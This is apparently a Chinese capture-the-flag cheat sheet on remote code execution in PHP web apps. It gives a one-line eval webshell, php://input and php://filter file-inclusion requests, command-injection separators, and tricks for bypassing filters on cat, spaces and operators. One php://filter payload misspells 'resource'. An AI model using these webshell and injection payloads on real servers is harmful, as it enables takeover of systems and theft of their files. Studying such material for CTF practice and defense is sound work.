RCE漏洞:可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
一、eval执行
一句话木马
eg.
eval($_POST['cmd']);
cmd=system(cat /fl*);
二、文件包含
文件包含漏洞利用前提条件:
1、知道文件存放的物理路径
2、对上传文件所在的目录具有可执行权限(存在一句话木马)
php://input
在没有上传点时利用shell.php得到flag,可以用 burpsuite 来进行抓包,在BP上面改包,添加上我们想要的shell.php的内容,但添加的内容是以 post数据流存在的,没有以代码的方式执行
#get改为post
POST /?file=php://input HTTP/1.1
#在后面加shell
<?php system('ls /');?>
php://filter
#首先要知道flag所在文件的名称
POST /?file=php://filter/resorce=../../../flag
三、命令注入
后台直接执行系统命令,一般要结合linux,windows对要执行的命令进行拼接。
过滤的话大致分为两种情况:白名单,黑名单。
windows系统中命令的连接符号:
1、“|”:直接执行后面的语句。
2、“||”:如果前面的语句为假,才执行后面的语句。;命令分隔符(url编码,%0a)
3、“&”两条命令都执行,如果前面为假则直接执行后面的语句。
4、“&&”:如果前面语句为假,不执行后面语句;前面语句为真,两条语句都执行。
过滤cat
cat、more、less、head、tac都可以对文本进行读取
过滤空格
使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}
、${IFS}
来代替空格
过滤目录分隔符
利用两个分号同时进行
过滤运算符
flag.php|base64# base64 flag.php#